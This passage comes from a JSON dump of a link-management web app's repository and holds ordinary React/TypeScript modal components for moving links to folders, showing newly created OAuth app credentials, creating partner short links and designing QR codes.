setShowAddWorkspaceModal,\n        setShowAddEditDomainModal,\n        setShowLinkBuilder,\n        setShowAddEditTagModal,\n        setShowImportBitlyModal,\n        setShowImportShortModal,\n        setShowImportRebrandlyModal,\n        setShowImportCsvModal,\n        setShowImportPartnerStackModal,\n        setShowImportRewardfulModal,\n        setShowImportToltModal,\n      }}\n    >\n      <AddWorkspaceModal />\n      <AddEditDomainModal />\n      <LinkBuilder />\n      <AddEditTagModal />\n      <ImportBitlyModal />\n      <ImportShortModal />\n      <ImportRebrandlyModal />\n      <ImportCsvModal />\n      <ImportPartnerStackModal />\n      <ImportRewardfulModal />\n      <ImportToltModal />\n      <UpgradedModal />\n      <ProgramWelcomeModal />\n      {children}\n    </ModalContext.Provider>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/move-link-to-folder-modal.tsx",
    "content": "import { ExpandedLinkProps } from \"@/lib/types\";\nimport { Modal } from \"@dub/ui\";\nimport { useCallback, useMemo, useState } from \"react\";\nimport { MoveLinkForm } from \"../folders/move-link-form\";\n\ninterface MoveLinkToFolderModalProps {\n  links: ExpandedLinkProps[];\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n  onSuccess?: (folderId: string | null) => void;\n}\n\nconst MoveLinkToFolderModal = ({\n  links,\n  showModal,\n  setShowModal,\n  onSuccess,\n}: MoveLinkToFolderModalProps) => {\n  return (\n    <Modal\n      showModal={showModal}\n      setShowModal={setShowModal}\n      className=\"overflow-y-visible\"\n    >\n      <MoveLinkForm\n        links={links}\n        onSuccess={(folderId) => {\n          setShowModal(false);\n          onSuccess?.(folderId);\n        }}\n        onCancel={() => setShowModal(false)}\n      />\n    </Modal>\n  );\n};\n\nexport function useMoveLinkToFolderModal(\n  props: { onSuccess?: (folderId: string | null) => void } & (\n    | {\n        link: ExpandedLinkProps;\n      }\n    | {\n        links: ExpandedLinkProps[];\n      }\n  ),\n) {\n  const [showMoveLinkToFolderModal, setShowMoveLinkToFolderModal] =\n    useState(false);\n\n  const MoveLinkToFolderModalCallback = useCallback(() => {\n    return (\n      <MoveLinkToFolderModal\n        links={\"link\" in props ? [props.link] : props.links}\n        showModal={showMoveLinkToFolderModal}\n        setShowModal={setShowMoveLinkToFolderModal}\n        onSuccess={props.onSuccess}\n      />\n    );\n  }, [showMoveLinkToFolderModal, setShowMoveLinkToFolderModal]);\n\n  return useMemo(\n    () => ({\n      setShowMoveLinkToFolderModal,\n      MoveLinkToFolderModal: MoveLinkToFolderModalCallback,\n    }),\n    [setShowMoveLinkToFolderModal, MoveLinkToFolderModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/oauth-app-created-modal.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { OAuthAppWithClientSecret } from \"@/lib/types\";\nimport { Button, Copy, Modal, Tick, useCopyToClipboard } from \"@dub/ui\";\nimport { useRouter } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\ninterface OAuthAppCreatedModalProps {\n  showOAuthAppCreatedModal: boolean;\n  setShowOAuthAppCreatedModal: Dispatch<SetStateAction<boolean>>;\n  oAuthApp: OAuthAppWithClientSecret | null;\n}\n\nfunction OAuthAppCreatedModal({\n  showOAuthAppCreatedModal,\n  setShowOAuthAppCreatedModal,\n  oAuthApp,\n}: OAuthAppCreatedModalProps) {\n  const router = useRouter();\n  const { slug } = useWorkspace();\n  const [copied, copyToClipboard] = useCopyToClipboard();\n  const [copiedField, setCopiedField] = useState<\"id\" | \"secret\" | null>(null);\n\n  if (!oAuthApp) {\n    return null;\n  }\n\n  return (\n    <Modal\n      showModal={showOAuthAppCreatedModal}\n      setShowModal={setShowOAuthAppCreatedModal}\n      className=\"max-w-md\"\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">OAuth App Created</h3>\n        <p className=\"text-sm text-neutral-500\">\n          For security reasons, we will only show you the client secret once.\n          Please copy and store it somewhere safe.\n        </p>\n      </div>\n\n      <div className=\"flex flex-col space-y-4 bg-neutral-50 px-4 py-8 sm:px-6\">\n        <div className=\"flex flex-col gap-1\">\n          <h2 className=\"text-sm font-medium text-neutral-800\">Client ID</h2>\n          <div className=\"flex items-center justify-between gap-2 rounded-md border border-neutral-200 bg-white p-2\">\n            <p className=\"truncate font-mono text-sm text-neutral-500\">\n              {oAuthApp.clientId}\n            </p>\n            <button\n              onClick={(e) => {\n                e.stopPropagation();\n                setCopiedField(\"id\");\n                toast.promise(copyToClipboard(oAuthApp.clientId), {\n                  success: \"Client ID copied to clipboard!\",\n                });\n              }}\n              type=\"button\"\n              className=\"flex h-7 shrink-0 items-center gap-2 rounded-md border border-neutral-200 bg-white px-2 py-1 text-xs font-medium text-neutral-900 hover:bg-neutral-50\"\n            >\n              {copied && copiedField === \"id\" ? (\n                <Tick className=\"h-3.5 w-3.5\" />\n              ) : (\n                <Copy className=\"h-3.5 w-3.5\" />\n              )}\n              {copied && copiedField === \"id\" ? \"Copied\" : \"Copy\"}\n            </button>\n          </div>\n        </div>\n\n        <div className=\"flex flex-col gap-1\">\n          <h2 className=\"text-sm font-medium text-neutral-800\">\n            Client Secret\n          </h2>\n          <div className=\"flex items-center justify-between gap-2 rounded-md border border-neutral-200 bg-white p-2\">\n            <p className=\"truncate font-mono text-sm text-neutral-500\">\n              {oAuthApp.clientSecret}\n            </p>\n            <button\n              onClick={(e) => {\n                e.stopPropagation();\n                setCopiedField(\"secret\");\n                toast.promise(copyToClipboard(oAuthApp.clientSecret), {\n                  success: \"Client Secret copied to clipboard!\",\n                });\n              }}\n              type=\"button\"\n              className=\"flex h-7 shrink-0 items-center gap-2 rounded-md border border-neutral-200 bg-white px-2 py-1 text-xs font-medium text-neutral-900 hover:bg-neutral-50\"\n            >\n              {copied && copiedField === \"secret\" ? (\n                <Tick className=\"h-3.5 w-3.5\" />\n              ) : (\n                <Copy className=\"h-3.5 w-3.5\" />\n              )}\n              {copied && copiedField === \"secret\" ? \"Copied\" : \"Copy\"}\n            </button>\n          </div>\n          <span className=\"text-xs text-red-600\">\n            Be sure to copy your client secret. You won't be able to see it\n            again.\n          </span>\n        </div>\n\n        <div className=\"flex gap-2\">\n          <Button\n            text=\"Close\"\n            variant=\"secondary\"\n            onClick={() => {\n              router.push(`/${slug}/settings/oauth-apps`);\n            }}\n            className=\"flex-1\"\n          />\n          <Button\n            text=\"Go to OAuth App\"\n            onClick={() => {\n              router.push(`/${slug}/settings/oauth-apps/${oAuthApp.id}`);\n            }}\n            className=\"flex-1\"\n          />\n        </div>\n      </div>\n    </Modal>\n  );\n}\n\nexport function useOAuthAppCreatedModal({\n  oAuthApp,\n}: {\n  oAuthApp: OAuthAppWithClientSecret | null;\n}) {\n  const [showOAuthAppCreatedModal, setShowOAuthAppCreatedModal] =\n    useState(false);\n\n  const OAuthAppCreatedModalCallback = useCallback(() => {\n    return (\n      <OAuthAppCreatedModal\n        showOAuthAppCreatedModal={showOAuthAppCreatedModal}\n        setShowOAuthAppCreatedModal={setShowOAuthAppCreatedModal}\n        oAuthApp={oAuthApp}\n      />\n    );\n  }, [showOAuthAppCreatedModal, setShowOAuthAppCreatedModal, oAuthApp]);\n\n  return useMemo(\n    () => ({\n      setShowOAuthAppCreatedModal,\n      OAuthAppCreatedModal: OAuthAppCreatedModalCallback,\n    }),\n    [setShowOAuthAppCreatedModal, OAuthAppCreatedModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/partner-link-modal.tsx",
    "content": "\"use client\";\n\nimport { mutateSuffix } from \"@/lib/swr/mutate\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport { PartnerProfileLinkProps } from \"@/lib/types\";\nimport { X } from \"@/ui/shared/icons\";\nimport { QRCode } from \"@/ui/shared/qr-code\";\nimport {\n  Button,\n  Combobox,\n  InfoTooltip,\n  Modal,\n  ShimmerDots,\n  useCopyToClipboard,\n  useEnterSubmit,\n  useLocalStorage,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport {\n  ArrowTurnLeft,\n  Pen2,\n  PenWriting,\n  QRCode as QRCodeIcon,\n} from \"@dub/ui/icons\";\nimport {\n  cn,\n  getApexDomain,\n  getDomainWithoutWWW,\n  getPathnameFromUrl,\n  linkConstructor,\n  nanoid,\n  punycode,\n} from \"@dub/utils\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport { useSession } from \"next-auth/react\";\nimport { useParams } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useEffect,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport TextareaAutosize from \"react-textarea-autosize\";\nimport { toast } from \"sonner\";\nimport { useDebounce } from \"use-debounce\";\nimport type { QRCodeDesign } from \"./partner-link-qr-modal\";\nimport { usePartnerLinkQRModal } from \"./partner-link-qr-modal\";\n\ninterface PartnerLinkFormData {\n  key: string;\n  pathname: string;\n  comments?: string;\n}\n\ninterface PartnerLinkModalProps {\n  link?: PartnerProfileLinkProps;\n  showPartnerLinkModal: boolean;\n  setShowPartnerLinkModal: Dispatch<SetStateAction<boolean>>;\n}\n\nexport function PartnerLinkModal({\n  link,\n  showPartnerLinkModal,\n  setShowPartnerLinkModal,\n}: PartnerLinkModalProps) {\n  return (\n    <Modal\n      showModal={showPartnerLinkModal}\n      setShowModal={setShowPartnerLinkModal}\n      className=\"max-w-lg\"\n    >\n      <PartnerLinkModalContent\n        link={link}\n        setShowPartnerLinkModal={setShowPartnerLinkModal}\n      />\n    </Modal>\n  );\n}\n\nfunction QRCodePreview({\n  shortLink,\n  shortLinkDomain,\n  _key,\n}: {\n  shortLink: string;\n  shortLinkDomain: string;\n  _key: string;\n}) {\n  const { isMobile } = useMediaQuery();\n  const { programEnrollment } = useProgramEnrollment();\n  const { logo } = programEnrollment?.program ?? {};\n\n  const [data, setData] = useLocalStorage<QRCodeDesign>(\n    `qr-code-design-program-${programEnrollment?.program?.id}`,\n    {\n      fgColor: \"#000000\",\n      logo: logo ?? undefined,\n    },\n  );\n\n  const { LinkQRModal, setShowLinkQRModal } = usePartnerLinkQRModal({\n    props: {\n      domain: shortLinkDomain,\n      key: _key,\n    },\n    onSave: (data) => setData(data),\n  });\n\n  return (\n    <div>\n      <LinkQRModal />\n      <div className=\"flex items-center gap-2\">\n        <h4 className=\"text-sm font-medium text-neutral-700\">QR Code</h4>\n        <InfoTooltip content=\"Set a custom QR code design to improve click-through rates. [Learn more.](https://dub.co/help/article/custom-qr-codes)\" />\n      </div>\n      <div className=\"relative mt-2 h-24 overflow-hidden rounded-md border border-neutral-300\">\n        <Button\n          type=\"button\"\n          variant=\"secondary\"\n          icon={<Pen2 className=\"mx-px size-4\" />}\n          className=\"absolute right-2 top-2 z-10 h-8 w-fit bg-white px-1.5\"\n          onClick={() => setShowLinkQRModal(true)}\n          disabled={!_key}\n        />\n        {!isMobile && (\n          <ShimmerDots className=\"opacity-30 [mask-image:radial-gradient(40%_80%,transparent_50%,black)]\" />\n        )}\n        {_key ? (\n          <AnimatePresence mode=\"wait\">\n            <motion.div\n              key={shortLink}\n              initial={{ filter: \"blur(2px)\", opacity: 0.4 }}\n              animate={{ filter: \"blur(0px)\", opacity: 1 }}\n              exit={{ filter: \"blur(2px)\", opacity: 0.4 }}\n              transition={{ duration: 0.1 }}\n              className=\"relative flex size-full items-center justify-center\"\n            >\n              <QRCode url={shortLink} scale={0.5} {...data} />\n            </motion.div>\n          </AnimatePresence>\n        ) : (\n          <div className=\"flex size-full flex-col items-center justify-center gap-2\">\n            <QRCodeIcon className=\"size-5 text-neutral-700\" />\n            <p className=\"max-w-32 text-center text-xs text-neutral-700\">\n              Enter a short link to generate a QR code\n            </p>\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n\nfunction PartnerLinkModalContent({\n  link,\n  setShowPartnerLinkModal,\n}: {\n  link?: PartnerProfileLinkProps;\n  setShowPartnerLinkModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const isCreatingLink = !link;\n  const isEditingLink = Boolean(link?.id); // When duplicating the id will be empty\n\n  const { programSlug } = useParams();\n  const { isMobile } = useMediaQuery();\n  const formRef = useRef<HTMLFormElement>(null);\n  const [, copyToClipboard] = useCopyToClipboard();\n  const { handleKeyDown } = useEnterSubmit(formRef);\n  const [lockKey, setLockKey] = useState(isEditingLink);\n  const [isLoading, setIsLoading] = useState(false);\n  const { data: session } = useSession();\n  const { programEnrollment } = useProgramEnrollment();\n  const [keyInputFocused, setKeyInputFocused] = useState(false);\n\n  const { shortLinkDomain, additionalLinks } = useMemo(() => {\n    return {\n      shortLinkDomain: programEnrollment?.program?.domain ?? \"dub.sh\",\n      additionalLinks: programEnrollment?.group?.additionalLinks ?? [],\n    };\n  }, [programEnrollment]);\n\n  const destinationDomains = useMemo(\n    () =>\n      additionalLinks\n        .map((link) => link.domain)\n        .filter((d): d is string => d != null),\n    [additionalLinks],\n  );\n\n  const [destinationDomain, setDestinationDomain] = useState(\n    link\n      ? (getDomainWithoutWWW(link.url) as string)\n      : destinationDomains?.[0] ?? null,\n  );\n\n  const selectedAdditionalLink = useMemo(\n    () => additionalLinks.find((link) => link.domain === destinationDomain),\n    [destinationDomain, additionalLinks],\n  );\n\n  const isExactMode = useMemo(\n    () => selectedAdditionalLink?.validationMode === \"exact\",\n    [selectedAdditionalLink],\n  );\n\n  const {\n    register,\n    watch,\n    handleSubmit,\n    setValue,\n    formState: { isDirty, errors },\n  } = useForm<PartnerLinkFormData>({\n    defaultValues: link\n      ? {\n          pathname: getPathnameFromUrl(link.url),\n          key: link.key,\n          comments: link.comments ?? \"\",\n        }\n      : undefined,\n  });\n\n  const [key, pathname] = watch([\"key\", \"pathname\"]);\n\n  // Auto-generate short link key for new links\n  useEffect(() => {\n    if (!key && !keyInputFocused && !isLoading) {\n      setValue(\"key\", nanoid(7), { shouldDirty: false });\n    }\n  }, [key, setValue, keyInputFocused, isLoading]);\n\n  useEffect(() => {\n    if (!selectedAdditionalLink || isEditingLink) {\n      return;\n    }\n\n    if (isExactMode) {\n      setValue(\"pathname\", selectedAdditionalLink.path, { shouldDirty: true });\n    } else {\n      setValue(\"pathname\", \"\", { shouldDirty: true });\n    }\n  }, [selectedAdditionalLink, isExactMode, isEditingLink]);\n\n  const saveDisabled = useMemo(\n    () =>\n      Boolean(\n        isLoading ||\n          (isEditingLink ? !isDirty : destinationDomains.length === 0),\n      ),\n    [isLoading, isEditingLink, isDirty, destinationDomains],\n  );\n\n  const shortLink = useMemo(\n    () =>\n      linkConstructor({\n        domain: shortLinkDomain,\n        key,\n      }),\n    [shortLinkDomain, key],\n  );\n\n  return (\n    <form\n      ref={formRef}\n      onSubmit={handleSubmit(async (data) => {\n        setIsLoading(true);\n\n        try {\n          const response = await fetch(\n            `/api/partner-profile/programs/${programEnrollment?.program?.id}/links${\n              isEditingLink ? `/${link!.id}` : \"\"\n            }`,\n            {\n              method: isEditingLink ? \"PATCH\" : \"POST\",\n              headers: {\n                \"Content-Type\": \"application/json\",\n              },\n              body: JSON.stringify({\n                ...data,\n                url: linkConstructor({\n                  domain: destinationDomain,\n                  key: getPathnameFromUrl(pathname),\n                }),\n              }),\n            },\n          );\n\n          const result = await response.json();\n\n          if (!response.ok) {\n            const { error } = result;\n            toast.error(error.message);\n            return;\n          }\n\n          await Promise.all([\n            mutateSuffix(`/api/partner-profile/programs/${programSlug}`),\n            mutateSuffix(\"/links\"),\n          ]);\n\n          if (isCreatingLink) {\n            try {\n              await copyToClipboard(result.shortLink);\n              toast.success(\"Copied short link to clipboard!\");\n            } catch (err) {\n              toast.success(\"Successfully created link!\");\n            }\n          } else {\n            toast.success(\"Successfully updated short link!\");\n          }\n\n          setShowPartnerLinkModal(false);\n        } finally {\n          setIsLoading(false);\n        }\n      })}\n    >\n      <div className=\"flex flex-col items-start justify-between gap-6 px-6 py-4\">\n        <div className=\"flex w-full items-center justify-between\">\n          <h3 className=\"text-lg font-medium\">\n            {isEditingLink ? \"Edit Link\" : \"New Link\"}\n          </h3>\n          <button\n            type=\"button\"\n            onClick={() => setShowPartnerLinkModal(false)}\n            className=\"group rounded-full p-2 text-neutral-500 transition-all duration-75 hover:bg-neutral-100 focus:outline-none active:bg-neutral-200\"\n          >\n            <X className=\"h-5 w-5\" />\n          </button>\n        </div>\n\n        <div className=\"flex w-full flex-col gap-6\">\n          <div>\n            <div className=\"flex items-center justify-between\">\n              <div className=\"flex items-center gap-2\">\n                <label\n                  htmlFor=\"key\"\n                  className=\"block text-sm font-medium text-neutral-700\"\n                >\n                  Short Link\n                </label>\n                <InfoTooltip content=\"This is the short link that will redirect to your destination URL. [Learn more.](https://dub.co/help/article/how-to-create-link)\" />\n              </div>\n              {lockKey && (\n                <button\n                  className=\"flex h-5 items-center space-x-2 text-sm text-neutral-500 transition-all duration-75 hover:text-black active:scale-95\"\n                  type=\"button\"\n                  onClick={() => {\n                    window.confirm(\n                      \"Updating your short link key could potentially break existing links. Are you sure you want to continue?\",\n                    ) && setLockKey(false);\n                  }}\n                >\n                  <PenWriting className=\"size-3.5\" />\n                </button>\n              )}\n            </div>\n            <div className=\"mt-2 flex rounded-md\">\n              <span className=\"inline-flex items-center rounded-l-md border border-r-0 border-neutral-300 bg-neutral-50 px-3 text-neutral-500 sm:text-sm\">\n                {shortLinkDomain}\n              </span>\n              <input\n                {...register(\"key\", {\n                  required: \"Short link key is required.\",\n                })}\n                type=\"text\"\n                id=\"key\"\n                autoFocus={Boolean(\n                  link?.partnerGroupDefaultLinkId && !isMobile,\n                )}\n                onFocus={() => setKeyInputFocused(true)}\n                onBlur={() => setKeyInputFocused(false)}\n                disabled={lockKey}\n                className={cn(\n                  \"block w-full rounded-r-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  {\n                    \"cursor-not-allowed border border-neutral-300 bg-neutral-100 text-neutral-500\":\n                      lockKey,\n                    \"border-red-300 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\":\n                      errors.key,\n                  },\n                )}\n                placeholder=\"short-link\"\n              />\n            </div>\n            {errors.key && (\n              <p className=\"mt-2 text-sm text-red-600\" id=\"key-error\">\n                {errors.key.message}\n              </p>\n            )}\n          </div>\n\n          <div>\n            <div className=\"flex items-center gap-2\">\n              <label\n                htmlFor=\"url\"\n                className=\"block text-sm font-medium text-neutral-700\"\n              >\n                Destination URL\n              </label>\n              <InfoTooltip content=\"The URL your users will get redirected to when they visit your short link. [Learn more.](https://dub.co/help/article/how-to-create-link)\" />\n            </div>\n            <div className=\"relative mt-1 flex rounded-md shadow-sm\">\n              <div className=\"z-[1]\">\n                {destinationDomains.length === 1 ||\n                link?.partnerGroupDefaultLinkId ? (\n                  <div\n                    className={cn(\n                      \"flex h-full w-fit items-center justify-start rounded-l-md border border-r-0 border-neutral-300 bg-neutral-50 px-2.5 text-sm text-neutral-700\",\n                      {\n                        \"cursor-not-allowed bg-neutral-100 text-neutral-500\":\n                          link?.partnerGroupDefaultLinkId,\n                      },\n                    )}\n                  >\n                    {punycode(destinationDomains[0])}\n                  </div>\n                ) : (\n                  <DestinationDomainCombobox\n                    selectedDomain={destinationDomain}\n                    setSelectedDomain={setDestinationDomain}\n                    destinationDomains={destinationDomains}\n                    disabled={Boolean(\n                      isEditingLink || link?.partnerGroupDefaultLinkId,\n                    )}\n                  />\n                )}\n              </div>\n              <input\n                {...register(\"pathname\", { required: false })}\n                type=\"text\"\n                placeholder=\"(optional)\"\n                autoFocus={Boolean(\n                  !link?.partnerGroupDefaultLinkId && !isMobile,\n                )}\n                disabled={Boolean(\n                  isExactMode || link?.partnerGroupDefaultLinkId,\n                )}\n                onPaste={(e: React.ClipboardEvent<HTMLInputElement>) => {\n                  if (isExactMode || link?.partnerGroupDefaultLinkId) return;\n\n                  e.preventDefault();\n                  // if pasting in a URL, extract the pathname + query params\n                  const text = e.clipboardData.getData(\"text/plain\");\n                  let newValue: string;\n                  try {\n                    const url = new URL(text);\n                    newValue = url.pathname.slice(1) + url.search;\n                  } catch (err) {\n                    newValue = text;\n                  }\n\n                  // Use setValue to properly dirty the form\n                  setValue(\"pathname\", newValue, { shouldDirty: true });\n                }}\n                className={cn(\n                  \"z-0 block w-full rounded-r-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:z-[1] focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  {\n                    \"cursor-not-allowed border bg-neutral-100 text-neutral-500\":\n                      isExactMode || link?.partnerGroupDefaultLinkId,\n                  },\n                )}\n              />\n            </div>\n          </div>\n\n          <div>\n            <div className=\"flex items-center gap-2\">\n              <label\n                htmlFor=\"comments\"\n                className=\"block text-sm font-medium text-neutral-700\"\n              >\n                Comments\n              </label>\n              <InfoTooltip content=\"Use comments to add context to your short links – for you and your team. [Learn more.](https://dub.co/help/article/link-comments)\" />\n            </div>\n            <TextareaAutosize\n              {...register(\"comments\")}\n              id=\"comments\"\n              minRows={3}\n              className=\"mt-2 block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n              placeholder=\"Add comments (optional)\"\n              onKeyDown={handleKeyDown}\n            />\n          </div>\n\n          {programEnrollment && (\n            <QRCodePreview\n              shortLink={shortLink}\n              shortLinkDomain={shortLinkDomain}\n              _key={key}\n            />\n          )}\n        </div>\n      </div>\n\n      <div className=\"flex items-center justify-end border-t border-neutral-200 bg-neutral-50 p-4\">\n        <Button\n          type=\"submit\"\n          disabled={saveDisabled}\n          loading={isLoading}\n          text={\n            <span className=\"flex items-center gap-2\">\n              {isEditingLink ? \"Save changes\" : \"Create link\"}\n              <div className=\"rounded border border-white/20 p-1\">\n                <ArrowTurnLeft className=\"size-3.5\" />\n              </div>\n            </span>\n          }\n          className=\"h-8 w-fit pl-2.5 pr-1.5\"\n        />\n      </div>\n    </form>\n  );\n}\n\nfunction DestinationDomainCombobox({\n  selectedDomain,\n  setSelectedDomain,\n  destinationDomains,\n  disabled = false,\n}: {\n  selectedDomain?: string | null;\n  setSelectedDomain: (domain: string) => void;\n  destinationDomains: string[];\n  disabled?: boolean;\n}) {\n  const [search, setSearch] = useState(\"\");\n  const [debouncedSearch] = useDebounce(search, 500);\n  const [isOpen, setIsOpen] = useState(false);\n\n  const options = useMemo(() => {\n    const allDomains = selectedDomain\n      ? [\n          selectedDomain,\n          ...destinationDomains.filter((d) => d !== selectedDomain),\n        ]\n      : destinationDomains;\n\n    if (!debouncedSearch) {\n      return allDomains.map((domain) => ({\n        value: domain,\n        label: punycode(domain),\n      }));\n    }\n\n    return allDomains\n      .filter((domain) =>\n        punycode(domain).toLowerCase().includes(debouncedSearch.toLowerCase()),\n      )\n      .map((domain) => ({\n        value: getApexDomain(domain!),\n        label: punycode(domain),\n      }));\n  }, [selectedDomain, destinationDomains, debouncedSearch]);\n\n  return (\n    <Combobox\n      selected={\n        selectedDomain\n          ? {\n              value: selectedDomain!,\n              label: punycode(selectedDomain),\n            }\n          : null\n      }\n      setSelected={(option) => {\n        if (!option) return;\n        setSelectedDomain(option.value);\n      }}\n      options={options}\n      caret={true}\n      placeholder=\"Select domain...\"\n      searchPlaceholder=\"Search domains...\"\n      buttonProps={{\n        className: cn(\n          \"w-32 sm:w-40 h-full rounded-r-none border-r-transparent justify-start px-2.5\",\n          \"data-[state=open]:ring-1 data-[state=open]:ring-neutral-500 data-[state=open]:border-neutral-500\",\n          \"focus:ring-1 focus:ring-neutral-500 focus:border-neutral-500 transition-none\",\n          {\n            \"cursor-not-allowed bg-neutral-100 text-neutral-500\": disabled,\n          },\n        ),\n        disabled,\n      }}\n      optionClassName=\"sm:max-w-[225px]\"\n      shouldFilter={false}\n      open={disabled ? false : isOpen}\n      onOpenChange={disabled ? undefined : setIsOpen}\n      onSearchChange={disabled ? undefined : setSearch}\n    />\n  );\n}\n\nexport function usePartnerLinkModal(\n  props?: Omit<\n    PartnerLinkModalProps,\n    \"showPartnerLinkModal\" | \"setShowPartnerLinkModal\"\n  >,\n) {\n  const [showPartnerLinkModal, setShowPartnerLinkModal] = useState(false);\n\n  const PartnerLinkModalCallback = useCallback(() => {\n    return (\n      <PartnerLinkModal\n        showPartnerLinkModal={showPartnerLinkModal}\n        setShowPartnerLinkModal={setShowPartnerLinkModal}\n        {...props}\n      />\n    );\n  }, [showPartnerLinkModal]);\n\n  return useMemo(\n    () => ({\n      setShowPartnerLinkModal,\n      PartnerLinkModal: PartnerLinkModalCallback,\n    }),\n    [setShowPartnerLinkModal, PartnerLinkModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/partner-link-qr-modal.tsx",
    "content": "import { getQRAsCanvas, getQRAsSVGDataUri, getQRData } from \"@/lib/qr\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport { QRLinkProps } from \"@/lib/types\";\nimport { QRCode } from \"@/ui/shared/qr-code\";\nimport {\n  Button,\n  ButtonTooltip,\n  IconMenu,\n  InfoTooltip,\n  Modal,\n  Popover,\n  ShimmerDots,\n  Tooltip,\n  useCopyToClipboard,\n  useLocalStorage,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { Check, Copy, Download, Hyperlink, Photo } from \"@dub/ui/icons\";\nimport { API_DOMAIN, linkConstructor } from \"@dub/utils\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport {\n  Dispatch,\n  PropsWithChildren,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { HexColorInput, HexColorPicker } from \"react-colorful\";\nimport { toast } from \"sonner\";\nimport { useDebouncedCallback } from \"use-debounce\";\n\nconst DEFAULT_COLORS = [\n  \"#000000\",\n  \"#C73E33\",\n  \"#DF6547\",\n  \"#F4B3D7\",\n  \"#F6CF54\",\n  \"#49A065\",\n  \"#2146B7\",\n  \"#AE49BF\",\n];\n\nexport type QRCodeDesign = {\n  fgColor: string;\n  logo?: string;\n};\n\ntype PartnerLinkQRModalProps = {\n  props: QRLinkProps;\n  onSave?: (data: QRCodeDesign) => void;\n};\n\nfunction PartnerLinkQRModal(\n  props: {\n    showLinkQRModal: boolean;\n    setShowLinkQRModal: Dispatch<SetStateAction<boolean>>;\n  } & PartnerLinkQRModalProps,\n) {\n  return (\n    <Modal\n      showModal={props.showLinkQRModal}\n      setShowModal={props.setShowLinkQRModal}\n      className=\"max-w-[500px]\"\n    >\n      <PartnerLinkQRModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction PartnerLinkQRModalInner({\n  props,\n  onSave,\n  setShowLinkQRModal,\n}: {\n  showLinkQRModal: boolean;\n  setShowLinkQRModal: Dispatch<SetStateAction<boolean>>;\n} & PartnerLinkQRModalProps) {\n  const { isMobile } = useMediaQuery();\n  const { programEnrollment } = useProgramEnrollment();\n  const { logo } = programEnrollment?.program ?? {};\n\n  const url = useMemo(() => {\n    return props.key && props.domain\n      ? linkConstructor({ key: props.key, domain: props.domain })\n      : undefined;\n  }, [props.key, props.domain]);\n\n  const [dataPersisted, setDataPersisted] = useLocalStorage<QRCodeDesign>(\n    `qr-code-design-program-${programEnrollment?.program?.id}`,\n    {\n      fgColor: \"#000000\",\n      logo: logo ?? undefined,\n    },\n  );\n\n  const [data, setData] = useState(dataPersisted);\n\n  const qrData = useMemo(\n    () =>\n      url\n        ? getQRData({\n            url,\n            fgColor: data.fgColor,\n            logo: logo ?? undefined,\n          })\n        : null,\n    [url, data, logo],\n  );\n\n  const onColorChange = useDebouncedCallback(\n    (color: string) => setData((d) => ({ ...d, fgColor: color })),\n    500,\n  );\n\n  return (\n    <form\n      className=\"flex flex-col gap-6 p-4\"\n      onSubmit={(e) => {\n        e.preventDefault();\n        e.stopPropagation();\n        setShowLinkQRModal(false);\n        setDataPersisted(data);\n        onSave?.(data);\n      }}\n    >\n      <div className=\"flex items-center gap-2\">\n        <h3 className=\"text-lg font-medium\">QR Code</h3>\n        <InfoTooltip content=\"Set a custom QR code design to improve click-through rates. [Learn more.](https://dub.co/help/article/custom-qr-codes)\" />\n      </div>\n\n      <div>\n        <div className=\"flex items-center justify-between gap-2\">\n          <div className=\"flex items-center gap-2\">\n            <span className=\"text-sm font-medium text-neutral-700\">\n              QR Code Preview\n            </span>\n            <InfoTooltip content=\"Customize your QR code to fit your brand. [Learn more.](https://dub.co/help/article/custom-qr-codes)\" />\n          </div>\n          {url && qrData && (\n            <div className=\"flex items-center gap-2\">\n              <DownloadPopover qrData={qrData} props={props}>\n                <div>\n                  <ButtonTooltip\n                    tooltipProps={{\n                      content: \"Download QR code\",\n                    }}\n                  >\n                    <Download className=\"h-4 w-4 text-neutral-500\" />\n                  </ButtonTooltip>\n                </div>\n              </DownloadPopover>\n              <CopyPopover qrData={qrData} props={props}>\n                <div>\n                  <ButtonTooltip\n                    tooltipProps={{\n                      content: \"Copy QR code\",\n                    }}\n                  >\n                    <Copy className=\"h-4 w-4 text-neutral-500\" />\n                  </ButtonTooltip>\n                </div>\n              </CopyPopover>\n            </div>\n          )}\n        </div>\n        <div className=\"relative mt-2 flex h-44 items-center justify-center overflow-hidden rounded-md border border-neutral-300\">\n          {!isMobile && (\n            <ShimmerDots className=\"opacity-30 [mask-image:radial-gradient(40%_80%,transparent_50%,black)]\" />\n          )}\n          {url && (\n            <AnimatePresence mode=\"wait\">\n              <motion.div\n                key={data.fgColor}\n                initial={{ filter: \"blur(2px)\", opacity: 0.4 }}\n                animate={{ filter: 